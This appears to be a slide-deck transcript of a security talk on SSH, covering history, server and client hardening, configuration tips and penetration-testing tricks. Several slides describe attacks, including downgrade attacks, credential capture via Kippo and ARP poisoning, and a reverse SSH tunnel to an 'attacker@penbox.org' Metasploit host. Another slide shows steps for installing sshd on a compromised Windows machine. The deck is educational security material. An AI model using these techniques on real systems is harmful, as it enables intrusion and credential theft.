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- 1. SSH Tricks and More! Presented by Kyle Young
- 2. Who am I? • Just another computer technician • Obtaining my macro degree in network administration from GRCC • Planning on getting a Bachelors degree in Digital Forensics at FSU • Been tinkering with computers since I was in middle school • Became obsessed with Information Security in 2005 • Owner/Hoster of zitstif.no-ip.org • Administrator on HITB forums
- 3. Read this book if you want to learn more about SSH! SSH, The Secure Shell: The Definitive Guide, 2nd Edition By Daniel J. Barrett, Richard E. Silverman ,Robert G. Byrnes Publisher: O'Reilly Media Released: May 2005 Pages: 668
- 5. Why do a presentation on SSH tricks? • SSH is one of my favorite protocols • There have been plenty of articles and blog posts on the subject – I thought it was time to kind of aggregate these and add some of my own tips/tricks
- 6. What is SSH? • Is it a shell? … No • Is it a solution to all of your security problems? … No “Secure Shell or SSH is a network protocol that allows data to be exchanged using a secure channel between two networked devices.” - en.wikipedia.org/wiki/SSh
- 7. SSH History • SSH v1.X - Invented by Tatu Ylönen in 1995 • Created due to a password sniffing attack that took place at Helsinki University of Technology • Created as a secure replacement for telnet, rlogin and rsh protocols
- 8. SSH and You! • If you work in the information technology realm, there’s a good chance you have used SSH before. • The SSH Client is natively available on practically all Non-Windows Operating Systems • Can be more quick and dirty than Remote Desktop • Easier to use on a phone than Remote Desktop (You may want to check out ‘mosh’ http://mosh.mit.edu/ )
- 9. What can I use SSH for? • For login to a shell on a remote host • For executing a single command on a remote host (replacing rsh) • Secure file transfer • For forwarding or Tunneling • Forwarding X from remote hosts • The list goes on... https://en.wikipedia.org/wiki/Secure_Shell#Usag e
- 10. SSH and Cyber Espionage • Duqu Worm – (Nov 2011) Contained instructions to exploit a zero day vulnerability in OpenSSH 4.3 on CentOS systems – After compromising the system the worm then updated OpenSSH to version 5.8
- 11. Speaking of SCADA/SSH... “Another day, another SCADA threat: ICS-CERT is now warning utilities and other critical infrastructure providers about potential brute- force attacks against control systems with SSH command-line access. “ - Kelly Jackson Higgins (darkreading.com) Feb 06, 2012
- 12. Basic SSH Usage
- 13. Insecurity Issues With Default Client Settings Make sure your clients (and servers) are strictly using version 2 Or they may be vulnerable to version downgrade attacks! You can also edit your ssh_config and change the directive : Protocol 2
- 14. Downgrade attacks on SSH Clients Downgrade attacks can be performed with ettercap-ng and ettercap-filters! Image From http://openmaniak.com/
- 15. Connecting for the first time to an SSH Server: Do you know it’s safe? If you’re very paranoid, you’ll want to verify the RSA fingerprint and randomart image with what fingerprint your given when connecting. To do so: On the server side you’ll have (usually requiring physical access to the Machine) You would need to do this: sudo ssh-keygen -lvf /etc/ssh/ssh_host_rsa_key.pub Then on your client side you want to edit your ssh_config file and set this option: VisualHostKey yes http://www.itworld.com/it-managementstrateg
- 16. Connecting for the first time to an SSH Server: Do you know it’s safe? One issue with this: “Obviously you need a secure method of getting verified copies of the fingerprint and randomart images for the computers you want to log into. ” - Carla Schroder http://www.itworld.com/it-managementstrategy/261500/16
- 17. One other thing.. Oh yeah Kippo can be ugly.. An attacker can capture your SSHv2 credentials using Kippo: •To do so an attacker needs to be in your local area network or spoofing the IP address or domain name of the SSH server host that the victim is trying to connect to. •Setup Kippo to listen on the appropriate port •If needed perform an ARP poisoning attack on the victim. •Once the victim tries to connect they would most likely get a mismatching fingerprint. However, with putty, an ignorant or hasty victim could simply click “YES”. http://pauldotcom.com/wiki/index.php/Episod
- 18. OK I’m connected…am I still safe? Not necessarily - Some versions of the openssh- server daemon will handle password authentication in clear text in memory! Proof of concept: http://zitstif.no-ip.org/capturessh2.txt #Tested on SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2 #Tested on SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1 #Tested on OpenSSH 5.2 (protocol 2.0) Fedora 11 Need to find the source on this one!
- 19. OK I’m connected…am I still safe? Watch out on your client side: http://blog.diogomonica.com/post/3087360614 Poor man’s SSH keylogger!
- 20. Locking Down The Server Side: sshd_config is your friend! •This may be debatable, but change your ssh server’s listening port to something different than port 22. • Again.. Make sure your ssh server is strictly using Protocol Version 2 •Do not permit root login! •Permit/Deny only specific users or groups! (AllowUsers/AllowGroups Directive OR DenyUsers/DenyGroups) https://www.linux.com/learn/tutorials/305769-a
- 21. Oh yeah..a quick note on changing the default port for ssh http://danielmiessler.com/blog/security-and-ob
- 22. Oh yeah..a quick note on changing the default port for ssh
- 23. Locking Down The Server Side: sshd_config is your friend! •Disable PasswordAuthentication and authenticate only using keys •Configure an Idle Log out time period (ClientAliveInterval XXX ) •Limit what interface/addresses SSHD binds to •Limit the amount of authentication tries (MaxAuthTries ) https://www.linux.com/learn/tutorials/305769 http://www.cyberciti.biz/tips/linux-unix-bsd-op
- 24. Locking Down The Server Side: sshd_config is your friend! •Change the login grace time (LoginGraceTime) •Oh yeah… disable empty passwords (Duh..) (PermitEmptyPasswords no) https://www.linux.com/learn/tutorials/305769 http://www.cyberciti.biz/tips/linux-unix-bsd-op http://www.uptimemore.com/password-retry-
- 25. Locking Down The Server Side: Programs to help you lock down your server •If applicable use iptables (or pf) to permit/deny specific IP addresses/ranges List of programs to help ward off dictionary attacks/brute force attacks on http://www.cyberciti.biz/tips/linux-unix-bsd-openssh-server-best-p (#16) •Setup port-knocking! http://www.cyberciti.biz/tips/linux-unix-bsd-op
- 26. Quick tips for speeding up SSHD login sshd_config is your friend! •Disable server side DNS look- ups if you don’t need it. (UseDNS No) If you’re not using PAM with SSH then disable PAM (UsePAM No) http://www.cyberciti.biz/tips/linux-unix-bsd-op
- 27. Client side configuration tips ssh_config is your friend! Are you sick of constantly typing in your passwords (if you’re using passwords) when doing additional connections when you’ve already authenticated to your ssh server? Solution: Add this to your ssh_config file Host * ControlPath ~/.ssh/master-%r@%h:%p ControlMaster auto http://www.evilsoft.org/2009/10/23/stupid-
- 28. Client side configuration tips ssh_config is your friend! Save yourself some keystrokes! ssh –C –D 1234 user@example.com -p 5432 Edit your ssh_config file to something like this: Host example example.com HostName example.com User user Port 5432 DynamicForward 1234 Compression Yes Now you only need to type: ssh example http://codeutopia.net/blog/2011/07/08/why-di
- 29. Client side configuration tips ssh_config is your friend! Are there any options to check for DNS spoofing? YES! CheckHostIP Yes This will force ssh to do an additional check in the known_hosts file for the IP address of the server.
- 30. For more information on configuring sshd_config and ssh_config, please see: man sshd_config && man ssh_config
- 31. Now for those beautiful client-sided one liners…(top 10 one liners from commandlinefu.com) 1 2 3 4 5
- 32. Client-sided one liners…(top 10 one liners from commandlinefu.com) 6 7 8
- 33. Client-sided one liners…(top 10 one liners from commandlinefu.com) 9 10
- 34. Client-sided one liners…(more awesome one liners from commandlinefu.com)
- 35. Client-sided one liners…(more awesome one liners from commandlinefu.com)
- 36. For more awesome one-liners from commandlinefu.com:
- 39. Client-sided one liners: Fun with the ‘-t’ option Any programs that need a pseudo terminal screen to work and you need run quickly, use -t. Examples: ssh –t user@example.com “python” ssh –t user@example.com “irb” ssh –t user@example.com “ssh anotheruser@anotherhost.com” ssh –t user@example.com “msfconsole” ssh –t user@example.com “screen” ssh -t user@example.com “vi”
- 40. Client-sided one liners: Fun with reverse connections Don’t have metasploit or any fancy info-sec security tools on your device that is connected to a LAN, but this device still has an SSH client on it? NO PROBLEM! Target host: 192.168.1.102 Target port: 445 Payload port: 4444 ssh –t –R 192.168.1.102:445:127.0.0.1:4445 –R 192.168.1.102:4444:127.0.0.1:4444 attacker@penbox.org “msfconsole” Then through metasploit on your remote host you would point your attacks towards your loopback interface
- 41. Client-sided one liners (Poor man’s VPN/proxy) This will bind a SOCKS server to port 9050 on the interface 192.168.1.100
- 42. Client-sided one liners (Poor man’s VPN/proxy) OK big deal.. I know that.. What’s special about it?
- 43. Client-sided one liners (Poor man’s VPN/proxy) What this means: •You can now tunnel traffic securely between you the client, and example.com • If example.com’s subnet is 10.1.10.255, you can now access resources in that subnet via your tunnel, hence why this is a poorman’s VPN. •You can use programs like proxychains in tandem with SOCKS •NOTE: example.com’s hosts file (/etc/hosts) does affect the DNS name resolution of the SOCKS client
- 44. Client-sided one liners (Poor man’s VPN/proxy) Programs that play nicely with proxychains: rdesktop netcat socat nmap hping telnet openvas nessus hydra wget ssh metasploit (though not needed) (set Proxies socks5:localhost:1234) ncrack ...(The list goes on) Almost any application that works on *nix and relies on TCP/IP
- 45. Ways of setting up sshd the quick and dirty way… Scenario 1: Are you doing a pentest and you’re able to find a router that is compatible with openwrt or dd-wrt? Upload it! Most versions of openwrt and dd-wrt support SSHD Scenario 2: You’ve popped a shell on a Windows box and you’d like to setup an SSHD server: Copssh_3.1.4_Installer.exe /S Copssadm --command activeuser –user USERNAME –shell /bin/bash
- 46. Ways of setting up sshd the quick and dirty way… Meterpreter from the metasploit project now has a meterpreter script that can deploy an openssh server on Windows victims. (I must admit, the few times I’ve tried it, it has never worked for me!)
- 51. Live Demo: SSH/Miredo/IPV6 Thanks Mubix! ( http://www.room362.com/blog/2010/9/24/rev )
- 52. ? Questions?